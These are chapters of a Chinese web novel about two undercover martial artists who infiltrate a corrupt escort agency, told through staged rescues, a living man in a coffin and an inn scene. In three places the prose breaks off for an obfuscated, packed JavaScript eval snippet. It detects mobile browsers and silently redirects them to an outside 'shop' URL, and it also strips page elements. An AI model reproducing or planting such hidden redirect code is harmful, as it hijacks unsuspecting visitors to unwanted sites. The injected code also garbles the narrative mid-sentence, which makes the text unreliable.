蓝钰面色愈发阴沉,握着剑柄的手也渐渐收紧。她冷声问:“你们是什么人?” 其中一人冷笑一声,道:“我们是来杀你的人。” 说罢,黑衣人们便一拥而上。 * 许妙仪离席后,萧韫并不动作,只悠悠地吃着酒菜,与同桌人随意聊天。 大约小半刻钟后,他估摸着鱼儿该上钩了,转身拍了拍后桌一男子的肩头。 男子转过身来,疑惑地问道:“怎么?” 这人叫丁山,平日里最爱逛窑子。他就住在萧韫附近,还算有几分交情。但萧韫此番搭讪他的主要原因是,他是蓝家的人。 萧韫凑近丁山,笑道:“丁兄,听说附近有家花楼。我此前没去过这种地方,不知道你可否带带我?放心,我请客。” 丁山霎时双眼发亮,嘴唇张开似要说话,却忽然又顿住了,神情变得踌躇。 这反应在萧韫意料之外,他心下发紧,心道:莫非被他看出来了? 谁知丁山却说:“那个……阳泉的花楼一般都是没有男妓的哈。” 萧韫起初有些不解,但他脑子转得快,很快就想到了答案——盖因那个雨夜,他抱许妙仪的事被传出去了。难怪这两天,旁人看他和许妙仪的目光有些奇怪。 他啼笑皆非,道:“你们误会了,我与许兄是正常的朋友关系。” “哦哦。”丁山点头,心里却嘀咕道:哪个正常老爷们儿会把对方抱在怀里?说是正常朋友谁信呢? 萧韫懒得与他争执这个,又问了一遍:“丁兄,走吗?” 丁山还是抵御不了这种诱惑,应道:“走!” 两人起身与杨明告了辞,出大堂往院门而去。倏地,远处响起“咻”的一声,尖锐而短暂——短暂得有些不正常,像是被扼断的鸟鸣。 丁山愣了一下,随即猛然清醒过来:“这……好像是郎君的鸣镝啊!” * 巷道中,蓝钰见自己的鸣镝被一支速度更快的箭矢折断,气恼不已。 她和女侍的武艺都很不错,但对方少说也有十人,她们早已落了下风,身上挂了不少伤痕。 正在蓝钰准备让女侍高呼求救之时,头顶忽然响起“咻咻咻”的凌厉破空声,紧接着,几道寒光自面前闪过。 那寒光直冲黑衣人而去,强势地将他们逼退开来。 随后,有两人从天而降落到她们面前。 蓝钰定睛一看,认出其中一人是她还算信任的手下丁山,另一个则是那个姿色相当出众的萧韫。她略微宽了心,同时又生出些许疑虑…… 但黑衣人很快就再度袭来,她没时间多想,提剑加入战斗。 另一边,许妙仪估摸着时间快到了,借口如厕出了大堂。堂中的欢声笑语在身后远去,夜风送来隐隐的打斗声。 她没有犹豫,快速穿过前庭,跃上院子围墙,借着月色朝声源处远眺。只见三丈开外的巷道中,蓝钰、萧韫等人正一群黑衣人激烈缠斗。 许妙仪在墙头上疾行,朝黑衣人们扔出几枚飞镖——若细看,这几枚飞镖明显歪了方向。 黑衣人们却还是连忙躲避,镖师们趁机进攻,局势就此扭转。 许妙仪跳下墙头加入打斗。 黑衣人们败退连连,不久就纷纷抽身逃跑。 “给我追!务必抓个活的回来!”蓝钰高声命令道。 许妙仪并不意外,当即往黑衣人离去的方向疾奔而去。 越过一道矮墙,萧韫便追了上来,低声揶揄道:“许兄,你这架势,倒似真要把某的手下弄死。” 许妙仪瞥了他一眼,道:“做戏要做全,懂吗?” “是,某受教。”萧韫的语调颇为轻快愉悦。 二人并行了一段路,见四面无人,便停了下来,倚在路边的老树上休息。 待呼吸渐渐平复,许妙仪问道:“你确定你那些手下靠谱?不会被镖局的人抓到?就算抓到了也不会把你供出去?” “许兄大可放心。”萧韫自信道。 许妙仪仍是不大放心,欲言又止,最终只道:“好吧。” 这时,不知何处传来一声猫叫,娇滴滴、脆生生的,尾音还拖得老长,满满的撒娇意味。 许妙仪的心瞬间就被萌化了,连忙四下里去寻猫儿踪迹。很快她就看见,一只通体雪白的狸奴踩着慵懒的步子从暗处走出,两只圆圆的蓝眼睛像宝石一般动人。 被这双眼睛看着时,许妙仪只觉心都要被勾了去,忙蹲下身,朝狸奴伸出手,夹着嗓子唤:“咪咪~” 萧韫猝然听到这一声,竟一下子被口水呛着了——除了那次催-情-药事件,他从未听过她这样夹着嗓子说话,倒也不是觉得难听,只是实在出乎意料。 狸奴被吓了一跳,许妙仪拧起眉头,回头看向萧韫,声音恢复如常,带着几分埋怨:“你怎么了?” 萧韫别过头去,一手握拳抵着嘴,另一只手摆了摆。 “咽个口水都能被呛到。”许妙仪一脸嫌弃,扭回头时又瞬间满面柔情。 她先是伸出手让狸奴闻了闻,然后才尝试着伸手去摸它的头。狸奴不但没有抗拒,反而还一个劲儿地往她手上蹭,喉咙里发出舒服的咕噜声。 “咪咪,你叫什么呀?是谁家的小猫?”许妙仪一边摸,一边笑盈盈地问,“你是不是饿了出来找吃的呀?” …… 萧韫默默看着逗猫的许妙仪,眼中竟不自觉地流露出几分柔和。 他在心里记下一条:她喜欢狸奴。 她这座笼在云雾中的高山,他又窥见了一点真容。 …… 约莫两刻钟后,萧韫提醒道:“差不多该回去了。” 许妙仪这才依依不舍地放开狸奴,起身与它告别。 二人往回赶,半路上遇见了丁山。 瞧见他孤身一人,许妙仪才终于放了心。 无独有偶,丁山见萧韫和许妙仪也是两手空空,沉重沮丧的面色缓和了些。 萧韫叹道:“那些人实在是狡猾。” “是啊是啊!”丁山愤愤附和。 三人一齐回了杨家小院,远远就见庆三正在门口等候。 见三人空着手,庆三面色不善,沉声问:“你们一个都没抓到?” 几人七嘴八舌地开始解释。 庆三听得有些不耐烦,张口欲骂,却忽然又想起蓝钰的教诲,只好按下心头情绪,颇为生硬地安慰道:“郎君宽宏大量,想必是不会怪你们的。” 接着,几人跟着庆三回了镖局,又被领到蓝钰跟前复命。 “没抓到?”蓝钰眸中闪过一丝烦躁,眉头蹙起但很快又舒展开来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958727|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她唇角微扬,语气柔和:“没关系,那帮人武艺不错,又狡猾得很,捉不到也不能全怪你们。” 顿了顿,蓝钰又温声问道:“对了,旁人都在宴饮,你们怎么出来了?” 表面上是关怀,实际上暗藏杀机。 许妙仪镇定答道:“我是出来更衣的。” 萧韫的神情也很自然:“我与丁山兄准备去夜市逛逛。” 丁山正愁“逛花楼”一事不好开口,听萧韫这么说,连忙点头。 蓝钰眯眼打量几人片刻,忽而又笑了出来:“原是如此。你们帮了我,这个月的薪水,我会让管事给你们多加一倍的。” “多谢郎君!”三人面露感激,拱手道。 “好了,无事的话,就回去吧。”蓝钰遣客。 待几人离开,庆三问:“郎君,您觉得那两人如何?” 蓝钰幽幽道:“功夫不错,就是不知道……他们的心究竟如何。” 庆三明白,蓝钰一直颇为欣赏这两人,有将他们收于麾下的想法。否则早在常五一事时,她就会利落地把他们赶出去,而不是选择观察、试探。 犹豫了一下,庆三把今日婚宴上许妙仪问杨明的一番话说了出来。 蓝钰眼中划过一抹意外:“如此看来,他倒还是个可造之材。” 庆三附和地点点头。 “那个逃奴找到了吗?”蓝钰突然问。 “找到了,正在地牢等候娘子发落。” 蓝钰道:“让许双把他带去乱葬岗处决了……让那姓向的也一起去吧。” * 出了蓝钰的门,许妙仪松了一口气,面上不自觉浮现浅浅的笑意。 碍于丁山在场,直到回到房中,萧韫才终于问了出来:“心情这么好?” 许妙仪笑道:“摘到大果子了,心情自然好。” 他们安排今夜这出戏目的就是以相救之恩取信于蓝家人。其中保底的猎物则是丁山——此人头脑简单,又颇讲义气,从他下手是最好不过了。 而最好的猎物自然是蓝钰。 很显然,他们今天运气不错。 许妙仪道:“你手下还挺靠谱的嘛。” “那是自然,”萧韫笑道,“也不看看是谁带出来的。” 许妙仪:“……” 怎么会有这么自恋的人? 二人休息了没多久,外间忽地响起敲门声,紧接着是庆三的声音:“来活儿了!” 两人都有些惊讶,连忙开了门。 庆三笑眯眯道:“这次的活儿有点特殊,酬金很高,就是不知道你们愿不愿意接。” “请三哥明示。”萧韫道。 “是这样,有户人家出了一个伤人的恶奴,想将其处决了。但是呢,他们信奉佛法,不愿沾染杀孽,于是只好委托给我们镖局了。” 不同于契约关系的仆人,主人家是能够决定奴隶生死的。 从这方面来说,确实合理,但不知为何,许妙仪总觉得有些怪怪的。纠结了一会儿,她还是点头应下了。 同样犹疑的萧韫见状,也同意了。 “行,那你们先去西边侧门等着,我待会儿就将人带来。” 去西侧门的路上,萧韫问:“许兄觉得,此去是好事还是坏事?” 许妙仪摇了摇头,眉宇间隐隐有些忧色。 到了地方等了一小会儿后,庆三押着一个人来了。 二人见了,不由倒吸一口凉气。 15.抬棺 里面的人……是活的? 许妙仪倒吸一口凉气,简直怀疑是自己耳朵出了问题。 那敲击声越来越响,也愈发急促。同时,隐隐还有道男声传来,含含糊糊的,只能隐约听出“出去”“错了”之类的字眼。 许妙仪蹙起眉,下意识看向萧韫。恰好萧韫也朝她看来,眸色深沉,还泛着些许困惑。 很明显,他也听见这声响了。 许妙仪很想当即叫停、一探究竟,但终究还是忍住了,试探着询问行在前方的岳强、丁山:“二位兄台可有听见这棺材里的声响?” “听见了,但那又如何呢?”岳强不以为然,甚至还说教了起来,“我们只管做好雇主交代的本职工作,不要多管闲事,那对你没好处的。” 丁山附和道:“就是啊,你不是想攒钱娶媳妇儿吗?想要来钱快,难免会做些脏活儿。” 见他二人如此波澜不惊,许妙仪心中便有了猜测——这是蓝钰用来试探他们的招数。 一时间,她心情复杂不已,有愤慨,有怀疑,更有纠结…… 倏地,她余光瞥见岳强回头朝她看来,眼中盛满了探究与打量。她迅速反应过来,敛起情绪,道:“两位兄台教训得是,是我太愚昧了。” 岳强这才舒展眉头,唇角勾起一个得意的弧度。接着,他又问萧韫:“向兄弟,你觉得呢?” “某觉得岳镖头所言甚是在理。”萧韫道。 岳强满意地点点头,道:“你们明白就好。” 蜿蜒山路上,一行人继续前行,棺材里的人仍顽强地叫喊着,只是一声比一声弱了。 “等等,”丁山忽然顿住步子,语气沉重,“我怎么觉得这声音有点像……阿天?” 岳强也停下脚步,拧起眉头,若有所思:“你这么一说,好像是有点啊……” 说着,他连忙招呼众人放下棺材,和丁山一齐侧耳趴了上去。 “有好戏看了。”萧韫低声对许妙仪道,语带讥诮。 许妙仪唇角微扬,轻声道:“我也是这么想的。” 丁岳两人正全神贯注地听棺材里的响动,完全没注意到萧韫和许妙仪的悄悄话。 很快,丁山双目猛然圆睁,一下子弹起身来,道:“哎哟!好像真的是阿天!” 岳强神情凝重,抬手招呼萧韫和许妙仪:“来,帮忙把棺材打开。” 这棺材四角已经被钉死,众人没有起钉工具,只得拿自己的武器去撬,忙活了好半天。 随着棺材板被推开,一个男子赶忙坐了起来,大口大口地喘着气,一张圆盘脸几乎成了酱紫色。 “张天!”丁山震惊不已,“你小子怎么会在这里面?!” 张天摆了摆手,有气无力道:“别提了,被那死小子暗算了……” “行了,先别说这些。”岳强出声打断。 张天愣住了,丁山忙给他眼神暗示,他这才看见站在身后的萧韫和许妙仪,会意点头。 岳强又对张天道:“你休息一会儿吧,然后……随我们回镖局,自去与郎君解释。” 闻言,张天面色大变,忙道:“不行啊,强哥,我不能回去啊!郎君如果知道了,绝对不会放过我的……” 岳强冷笑一声,道:“没做好分内任务,就要受罚,这天经地义。” 张天又一把拽住了丁山的袖子,仰面哀求道:“山哥,咱哥俩快十年的交情了,你不能眼睁睁看着我受刑啊!” 丁山满脸不忍,好声好气地劝道:“强哥,得饶人处且饶人嘛。反正这里也只有咱们几个,咱们都不说,郎君哪能知道呢?” “不行!”岳强斩钉截铁地拒绝,“我可不敢摊这种风险。” “你!”张天恼羞成怒,猛然伸手指向岳强,“枉我这几年对你敬重有加,你居然如此冷漠无情!” 岳强别开脸,嘴唇紧抿成一条直线。 张天的眼珠慌忙转了几转,猛然从棺材里翻出,往远处奔逃而去。 “休走!”岳强大喊一声,提步追了上去,同时抬手甩出几枚飞镖。 张天敏锐察觉,急忙躲闪,却不料被块石头绊了一下,猛然栽倒在地。 趁此空隙,岳强便已经追了上来,出刀刺向张天的脖颈处。 不料这是,一柄长剑从旁边刺来,恰好挡住了岳强的攻势。随即,长剑灵活一挑,竟将岳强的大刀挑飞了去。 岳强连忙后退几步,稳住身形,抬眼一看,见丁山正持剑立在张天身前。 张天如见救命菩萨,连滚带爬地躲到丁山身后,拽着他的衣服,一把鼻涕一把泪道:“山哥,还是你对我好!” 岳强的面色阴沉得能滴出水来:“丁山,你这是何意?” 丁山的语气染上几分烦躁:“强哥,都是兄弟,你何必把事情做绝呢?” “竖子无知!”岳强一脸恨铁不成钢,“你知道叛徒跑了意味着什么吗?以后他若是与他人联合起来对付我们,你我可就是死路一条!” 闻言,丁山瞳孔微缩,目光变得游移不定,明显是被这话震慑到了。 张天感知到了丁山的动摇,急急道:“山哥,大不了咱们离开这儿就是了!我们一身好本事,去哪儿不愁吃喝?如今虽然来钱多,但风险也大啊!蓝家作恶多端,指不定哪天就要被……” 他话音未落,就被岳强愤怒的吼声打断了:“闭嘴!” 这一下声如洪钟,张天哆嗦了一下,赶忙又缩了回去。但这次,他没有再拉着丁山。 岳强沉沉盯着丁山,道:“你如果执意护着他,就别怪我不留情面了。” 丁山心中一团乱麻,眉心几乎皱成一个“川”字。 此时此刻,正在远处观望的许妙仪不禁咂舌感叹。她怎么也没想到,事情会发展成这样。 身旁的萧韫揶揄道:“上山抬棺,竟还捡了出戏看——这戏可比戏楼里演得精彩多了。” 许妙仪点点头,深有此感。 “就是少了些东西。” 许妙仪不解地看了他一眼:“什么?” “茶水和瓜果点心呀,”萧韫轻笑,“否则只有眼睛能享受到这种乐趣了。” 许妙仪唇角微抽,心道这人怕不是脑子有问题。她懒得理他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984599|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,继续去看“戏”—— 丁山深吸一口气,目光逐渐坚定起来,握紧剑柄:“对不起了,强哥,是你不讲情分在先!” 岳强气极反笑,点头连连:“好!真是好极了!” 说罢,他再度挥舞起大刀,狠狠朝丁山砍来。 丁山拔剑抵御,同时对张天喊道:“你先走,我断后!” “好兄弟!”张天嘴上说着兄弟情深,脚底却如抹了油,一下子窜出老远。 另一边,许妙仪估摸着时机成熟,对萧韫道:“走吧,现在你不光可以用眼睛看,还可以身临其境地体验一下了。”略带讥讽。 萧韫轻笑一声,并未说什么,只是跟上了许妙仪的步伐。 岳强不甘让张天就此溜走,却又被丁山缠得死死的,一时间恼怒不已,也因此有些分神,被丁山抓住了一个漏洞。 然而,就在长剑即将刺入他胸膛的前一刻,只听“铿”的一声,两侧同时刺出一道白光,丁山连人带剑被逼退了好几步。 岳强愕然,侧头看去,见萧韫和许双正分别持剑立在他两侧。 丁山一脸不可置信,恨恨道:“向玉!许双!你们竟然要帮着他吗?!我平日与你们的交情,难道不比他多?” “丁兄此言差矣,”萧韫淡淡道,“我们只是站在了郎君的一方而已。” 岳强听见这话,忍不住看了一眼萧韫,目露几分动容。 “呸!”丁山恶狠狠唾了一口,忽而想到了什么,又道,“你们还不知道他们是干什么的吧?我告诉你,他们是……” 他还未说完,岳强便怒吼一声,举刀砍了过来,逼他不得不把话语咽了回去。 许妙仪连忙跟上加入战斗,萧韫则道:“我去追张天。” 刀光剑影中,岳强放声笑道:“好小子!” 二打一,丁山很快就落了下乘。见势不好,他几番欲逃,却都被截住了。最终,他的脖子被许妙仪的长剑架住了。 没多久,萧韫也押着张天回来了。 “许兄弟,向兄弟,此番真是多谢你们了。”岳强抱拳感激道。 萧韫一脸大义凛然:“镖头不必客气,为郎君做事是我们的本分。” 许妙仪见了,竟莫名有些想笑。好在她忍住了,连忙跟着附和了两句。 岳强道:“你们放心,等回了镖局,我一定在郎君面前为你们美言几句。” “多谢镖头。” 三人把棺材留在山坡上,押着丁山和张天往回赶。 到了镖局,岳强便道:“你们先回去吧,我去与郎君复命。” 二人明白他的意思,应声离开。 “真是没想到,除了看出好戏,还有这样的意外收获。”萧韫笑道。 许妙仪调侃道:“向兄舌灿莲花,想必不日就要升迁了。” “许兄羡慕?”萧韫侧头来看许妙仪,漆黑眸中笑意更深,“想学我可以教你啊。” 许妙仪冷哼一声,道:“我才不学,谄媚做派……” 说着说着,许妙仪忽然顿住了,双眼直直往一个地方看去,面色有些发白。 16.置气 萧韫敏锐察觉到了许妙仪的异常,亦停下步子,顺着她的视线看去,只见黄绿相交的草丛中,一条青色小蛇正缓缓潜行。 萧韫当即明白过来,在心里默默记下一条:她怕蛇。 同时,他心中莫名生出一种奇妙的感觉……觉得她好像又生动鲜活了几分。 而此时此刻,许妙仪只觉得浑身血液都凝固了。 蛇是她唯一害怕的东西。其缘由可以追溯到两千多年前,她五岁的时候,外出游玩的路上不慎掉进了一个蛇窝。 那难闻的腥气,那双双幽绿的眼珠、竖线一般的瞳孔,还有身体被数条蛇缠绕时,冰凉而黏腻的感觉,她至今难忘…… 倏地,她后知后觉地意识到了不对劲——自己为何反应如此激烈?上辈子她特地磨炼过,只要蛇不爬到她身上来,她还是能够保持镇定的。 莫非……李霜儿也怕蛇?许妙仪在脑海中检索了一阵,果不其然发现了李霜儿幼时被蛇咬的记忆。 真是好巧不巧。难怪她会来到她的身体里面,两个人在冥冥之中,还是有些共通性的。 许妙仪深吸一口气,快速敛起情绪,解释道:“刚刚忽然有点头晕。” 作为一个将领,她深知隐藏自身弱点的必要性。虽然萧韫算不上她的敌人,但他还不足以让她袒露脆弱。 萧韫眉尾轻挑,“哦”了一声,又佯装关切地问道:“许兄可要紧?去医馆看看吧?” 许妙仪摇摇头:“不用,已经好了。”说着,她就要继续往回走。 熟料萧韫突然伸出手,挡住了她的去路。 她眉头微蹙,侧头看向萧韫,不解中夹杂着几分心虚与恼怒:“做什么?” “这突发性的头晕,可能是心脏出了问题。某有个朋友的朋友,也时常如此,但他一直不以为然,谁知后来,他竟心脏骤停而亡了。”萧韫一副煞有介事的模样,眉宇间还隐隐浮现着担忧之色。 萧韫这厮能这么好心?许妙仪品出几丝异样,渐渐反应过来萧韫是在故意捉弄自己。 她怒上心头,冷哼一声,道:“我自己的身体自己有数,你不用这么关心我。” “我们相依为命,某不关心你,关心谁呢?”萧韫抱手看着许妙仪,语气含笑。 许妙仪:“……” 气恼之下,她狠狠瞪了萧韫一眼,道:“我用不着你的关心!”说罢,她疾步离去。 萧韫看着她离去的背影,不知不觉间笑意更深。 与此同时,蓝钰私院的正堂里。 “咔”的一声,蓝钰手中的玉扳指被捏碎。她猛然看向立在一旁的庆三,又惊又怒,厉声道:“你说什么?让那个叛徒跑了?!” 庆三垂着头,大气不敢出:“是……” “怎么回事?可查清楚了?”蓝钰急急追问。 “查清楚了。属下原本安排阿天和二虎子去地牢提人,谁知那二虎子却觉得,叛徒伤重,绝对掀不起风浪,就让阿天一个人去。阿天不小心遭了暗算,被反过来装进了棺材里……” 蓝钰阴沉着脸不说话,庆三也没敢再开口。 气氛低沉得如有乌云笼罩,直教人喘不过气来。 半晌,蓝钰冷笑一声,从牙缝中挤出了几个字:“真是两个废物!” “郎君,您看怎么处置?”庆三小心翼翼地问。 蓝钰冷冷道:“二虎,懒怠渎职铸成大错,汤镬;张天,连一个重伤的人都防不住,留着也没用,直接杀了喂狗。” 汤镬,就是将人丢进滚烫的水里,活活烫死。 庆三很是惊讶。他很少见蓝钰动用这样的酷刑,可见她此次怒气之盛。他心中忐忑更甚,生怕被迁怒,语气愈发恭敬:“是。” 蓝钰揉了揉太阳穴,又问:“对了,那两人表现得如何?” 庆三知道她问的是萧韫和许妙仪,把从岳强那儿听来的消息复述了一遍。 蓝钰的面色这才稍微缓和了些,颔首道:“可以安排起来了。” * 厢房中。 许妙仪坐在椅子上,冷脸看着窗外,周身气压很是低沉。 短短半刻钟内,萧韫抬眼瞟了许妙仪十余次。见她一直一动不动的,他有些心虚,试探着问:“许兄何以如此气闷?是气那条小蛇不礼貌的到来吗?” 许妙仪冷冷瞥了萧韫一眼,一时间也不知自己是怎么想的,竟脱口而出:“对。” 萧韫本来只是想缓和一下气氛,没想到她会这么回答,倍感意外。他凤眸微弯,笑道:“那去找它报仇?” “那倒是不用了。”许妙仪撇了撇嘴。 顿了顿,她生硬地补充道:“你以后不许那么关注我。” 听了这句话,萧韫大概就猜到她生气的原因了。他收回目光,知趣地应道:“是,某谨记。” 许妙仪低头捂住了脸,心情很是复杂。 她生气并非是因为萧韫的插科打诨,而是因为他知道了她的弱点。这大概是出于一种好强心理,但又不是完全是。 更深层的原因是,对她而言,怕蛇一事不仅是她的弱点,更是她心中隐秘的梦魇。上辈子,除了亲近的人,几乎没有人知道她怕蛇。 而萧韫,对她来说,只是个半生不熟的合作同伴,她才不想让他知晓此事呢…… “笃笃笃!” 外间忽然响起敲门声,紧接着是庆三的声音,语气分外严肃:“向玉、许双?你俩在不在?我有事要同你们说。” 许妙仪被拉回现实,抬眼却见萧韫已经起身去开门了。 庆三入内,一脸郑重地在椅子上坐下。 萧韫关上门,拱手道:“请三哥明示。” 许妙仪也迎了过来,拱手见礼。 庆三道:“你们武功不错,头脑也算灵活,郎君一直都很欣赏你们,所以让我来问问——”他压低声音,“我们这边有些活儿,赚得比普通镖师多了几十倍不止,就是不太干净。不知你们可否愿意?” 说这话时,他双眼直勾勾地盯着面前两人,似乎是要将他们的一举一动都捕捉到。 “我愿意!”许妙仪连忙应道,双眸发亮,隐隐浮现一丝贪婪。 庆三并不意外,扭头看向萧韫,无声询问。 萧韫假装迟疑了半刻,这才下定决心般道:“人为财死鸟为食亡,郎君肯带某入伙,某自是感激不尽、求之不得。” 庆三露出一个满意的笑:“好,你们很有悟性。那接下来,郎君就要交给你们一个任务:我们在各个城池外都有庄子,是用来收容猎物的。你们跟着岳强去江阳镇外接应,把猎物带回来,明早就出发。” “是。” 翌日一大早,三人就骑马出发了,一路马不停蹄。傍晚时,他们在一家客栈落脚。 “上些好酒好菜,再来三间上房。”岳强说着,阔气地在柜台上排开几十文铜钱。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007203|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 掌柜见了,先是双眼一亮,紧接着面露难色:“哎哟,这位英雄,真是不巧,我们这儿只剩下一间中房和一间下房了。不若,您三位挤一挤?” 岳强面露些许烦躁,重重叹了口气,扭头看向萧韫和许妙仪:“这附近没有其他的店,只能如此了。你们去中房,我去下房。” 萧韫立刻应道:“好。” 许妙仪犹豫了一下,还是同意了。接着她看向掌柜,问:“能多给床被褥吗?我睡觉爱抢被子,怕我朋友着凉。” “当然可以。”掌柜满口答应,“我这让伙计送去,您三位可先入座用膳。” 三人上桌等候酒菜,随意聊着天。 聊着聊着,岳强忽然察觉到,许双、向玉两人的氛围与之前不太一样。尤其是许双,不但没接过一句向玉的话,就连一个眼神都没给过向玉。 为了保证任务顺利行进,岳强直接问了出来:“你俩吵架了?” “没有啊。”萧韫语气十分自然。他自认说得不假,两人的确是没吵架,只是许妙仪单方面与他置气了。 许妙仪跟着点头。 岳强活了四十几年,哪能看不出他俩是强撑。想着他俩既然不愿意说,他也就没多问,只道:“无论你们有什么嫌隙,郎君交代的任务才是第一位的,千万不要因小失大。” “是。”二人一齐应道。 结束了尴尬的用膳,接下来就是更尴尬的环节了。 伙计把萧许二人领到房中,简单说了些客套话便离开了,并贴心地带上了房门。房门一关,气氛就变得诡异起来。 最终还是萧韫先开口了:“许兄,今晚如何分配?” 许妙仪抿了抿唇,道:“我们来猜拳,谁赢了谁睡床上。” “好啊。”萧韫欣然同意。 “三、二、一!” 倒数声响,许妙仪出了布,萧韫出了剪刀。 萧韫挑眉笑道:“承让承让。” 许妙仪没理他,面无表情地去打地铺。 赶了一天的路,许妙仪的身体其实不大吃得消。洗漱完之后,她便径直钻进了被窝。 外间不知何时落起了雨,淅淅沥沥的,叫人生出无尽倦意。许妙仪闭着眼,渐渐坠入了另一个世界…… 土坑底部,她抱膝蜷缩着,望着头顶越来越暗的天幕,一颗心几乎被恐惧和绝望填满,眼泪止不住地往外滚。 隐隐有“嘶嘶嘶”的声音响起,她本以为是幻听,然而那声音却越来越近,几乎要贴到她耳边。她侧目看去,恰好对上了两盏幽绿的灯! …… 萧韫正在灯下看书,忽然听得一声嘤咛。他愣了一下,随即循声看去。 只见许妙仪整个人蜷缩成一团,满脸恐惧,嘴唇嗫嚅,含糊说着什么——这是萧韫从未见过的。 莫非是梦见蛇了?萧韫唇畔勾起一个浅浅的弧度,又转回头去。 “阿兄救我、救我……”许妙仪惊惧的呼声越来越高,渐渐地还带上了哭腔。 萧韫的心神被这动静扰乱,再看不进去一个字。他扭头看去,只见她的身体暴露在外,而被子则堆叠在脚下。 秋夜凉寒,纵使屋中有碳火,不盖被子还是会着凉的。 萧韫踌躇了一会儿,还是决定做一回好人。他走到许妙仪身边蹲下,替她重新盖上被子。 熟料她一下子抓住了他的胳膊,紧接着整个人贴了上来。 17.安抚 感觉到那明显不同于胸肌的东西时,萧韫身形一滞。他深吸一口气,尝试抽出手来。 许妙仪却抱得愈紧,嘴里不停哼唧着:“阿兄,不要走……阿雀好害怕……” 阿雀?是她的小名吗?萧韫想,这名字倒有些可爱,不像他的…… “阿兄……阿兄……我好想你……”许妙仪哭得愈发可怜,整个人抖得厉害。 萧韫闭上眼,叹了口气。罢了,他就“帮人帮到底,送佛送到西”吧。 他顺势就地盘腿而坐,慢慢引导许妙仪伏上他的膝头。 似乎是感知到面前人不会离开,许妙仪这才缓缓松了手。 萧韫小心翼翼地将手臂抽出,恰好她眼尾滚出一滴眼泪。他鬼使神差一般,曲起指节,轻轻为她拭泪。 温热的,柔软的。 他如触电一般,赶忙把手缩了回来,一时间竟不知该把手往哪儿摆。 泣声未止,许妙仪的肩头也仍在颤抖。 萧韫苦恼:她若一直这样哭下去可怎么是好? 沉思半晌,他开始学着记忆里母亲哄孩子的样子,伸手轻拍许妙仪的背。 这是他第一次哄人入睡,起初动作还比较僵硬,但没多久就渐入佳境。 许妙仪渐渐归于平静,眉头也逐渐舒展开来。 萧韫心中莫名生出一种成就感,暗自感叹:果然,像他这样有能力的人,无论做什么都会成功的。 外头雨势渐大,猛烈地拍打着窗户。 暖色烛光中,萧韫看着墙上两人的影子,脑海中忽然跳出一个词:温馨。 他知道,他和许妙仪都只把对方看做普通的合作伙伴,只论合作,不谈其他。而且,尽管是合作关系,他们却都对彼此存有一定的戒心,并非完全信任。 哪怕在那个破庙的雨夜,他选择相信她、与她并肩作战,也不过是因为,他笃定她不会拿自己的性命开玩笑。 而此时此刻,他们真正放下了对彼此的防备。他们之间从未如此宁静平和过,仿佛他们是一对……相识已久的挚友。 …… 一刻钟后,萧韫见许妙仪呼吸平稳,估摸着她大概是睡熟了,便轻轻地扶着她躺了回去,替她盖好被子。 正准备起身,他忽然注意到自己膝头有一团洇湿。他盯着那处看了一瞬,忽而轻弯唇角。 * 翌日,许妙仪早早就醒了。 以往,由于多年的军旅习惯,她一睁开眼就能立马坐起来,绝不赖床。 而今天,她却一反常态地再度闭上了眼睛。 大概是福祸相依吧,她虽然回到了那个可怕的蛇窟,却也见到了多年不见的兄长。兄长像小时候一样抱着她,轻轻拍着她的背,哄她入眠。 那感觉十分真实,叫她无比眷念,甚至不愿醒来…… “许兄,该起来了。”萧韫的声音响起,染着晨起时特有的微微哑意。 许妙仪被打断思绪,有些烦闷地坐起身来。忽地,她脑中莫名跳出一个不好的想法,心头猛然一震,连忙扭头看向萧韫。 萧韫正坐在床沿上穿外套,神色平静。 看样子,应该是她想多了。可她终究还是不放心,又忍不住瞥了萧韫好几眼。 谁料萧韫忽然掀起眼睫,叫她直直撞入了他的眸子。此时,他漆黑眸色中带着几分戏谑。 “许兄平常还没看够吗?怎么还偷看起来了?”他揶揄道。 许妙仪一脸无语地收回目光,直接问道:“那个,昨天晚上,我有没有说梦话?” 萧韫反问道:“许兄是希望自己说了还是没说呢?” 许妙仪有些恼:“你休要油嘴滑舌!” 萧韫轻笑一声,道:“某倒还期望许兄在梦中说出些秘密呢。” 闻言,许妙仪这才终于松了一口气。 萧韫起身往门边走:“某先下去了,许兄也快些吧。” 三人用过早膳便上路了,于当日傍晚前赶到了江阳镇外的庄子。 庄子门口站着一个中年男人,笼着手不停踱步,神情有些许焦躁,似乎是已等待了许久。见了岳强等人,男人立即眉开眼笑:“哟,强哥您来了!快请进来!” 男人迎着三人进门,又道:“您三位先去正堂坐坐,我们管事马上就来。” 三人到了正堂,不久便有一个八字胡男人笑呵呵地进门了:“兄弟几个久等了!” 